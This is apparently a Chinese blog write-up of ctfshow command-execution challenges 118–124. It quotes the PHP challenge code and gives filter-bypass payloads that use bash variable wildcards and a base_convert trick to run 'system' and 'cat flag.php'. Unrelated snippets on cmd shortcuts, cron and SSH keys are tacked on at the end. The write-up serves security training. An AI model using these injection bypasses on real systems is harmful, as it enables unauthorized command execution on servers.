ctfshow 命令執行 118 124

2022-10-09 01:30:09 字數 3118 閱讀 6024

給了乙個框框,

注釋裡執行系統命令

題目提示flag在flag.php裡

利用系統變數構造:$$$ifs????.???

path被ban

所以不能使用nl 想辦法構造cat

嘗試構造/bin/cat flag.php或/bin/base64 flag.php

可以構造出/???/?????4 ???????? 4 的話可以通過$少量多次爆破獲得

這道題將1過濾了,所以利用shlvl ,它是記錄多個 bash 程序例項巢狀深度的累加器,程序第一次開啟shell時$=1,然後在此shell中再開啟乙個shell時$shlvl=2。

payload:$}???$}?????$ ????.???

<?php 

error_reporting(0);

highlight_file(__file__);

if(isset($_post['code']))

else

}else

}?>

限制了$code的最大長度為64

過濾了shlvl 使用$來構造1

payload:code=$?表示上一條命令執行結束後的傳回值。通常0代表執行成功,非0代表執行有誤

為什麼有

<?php 

/*# -*- coding: utf-8 -*-

# @author: 收集自網路

# @date: 2020-09-16 11:25:09

# @last modified by: h1xa

# @last modified time: 2020-10-06 14:04:45

*/error_reporting(0);

//聽說你很喜歡數學,不知道你是否愛它勝過愛flag

if(!isset($_get['c']))else

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

foreach ($blacklist as $blackitem)

}//常用數學函式

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

preg_match_all('/[a-za-z_\x7f-\xff][a-za-z_0-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[0] as $func)

}//幫你算出答案

eval('echo '.$content.';');

}

主要函式:

base_convert  		#在任意進製之間轉換數字。

hexdec #把十六進製制轉換為十進位制。

dechex #把十進位制轉換為十六進製制。

hex2bin #把十六進製制的字串轉換為ascii碼

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi($$pi)&abs=system&acos=cat%20flag.php

cmd 執行命令

一 一鍵開啟執行 開啟 執行 視窗,都是通過 開始 選單中的命令來完成的。其實我們可以為執行建立乙個快捷方式,一鍵開啟執行視窗。右擊桌面上的快捷方式,開啟屬性視窗。切換到 快捷鍵 方式選項卡,在 快捷鍵 裡面輸入乙個按鍵,然後單擊 確定 按鈕,這樣我們要開啟執行視窗時只需要按下該快捷鍵即可。二 快速...

後台執行命令

1.cron是系統主要的排程程序,可以在無需人工干預的情況下執行作業。有乙個叫做crontab的命令允許使用者提交 編輯或刪除相應的作業。2.crob的域 第1列 分鐘1 59 第2列 小時1 23 0表示子夜 第3列 日1 31 第4列 月1 12 第5列 星期0 6 0表示星期天 第6列 要執行...

遠端執行命令

遠端執行命令 這個分兩步,很簡單很實用。第一步,設定ssh免認證,免認證就是只不用密碼認證就可以直接登入,這在寫指令碼伺服器控制時特別有用。ssh keygen t rsa cd ssh ssh copy id xuexi01注 xuexi01是主機名,也可寫成ip,如192.168.2.11 第二...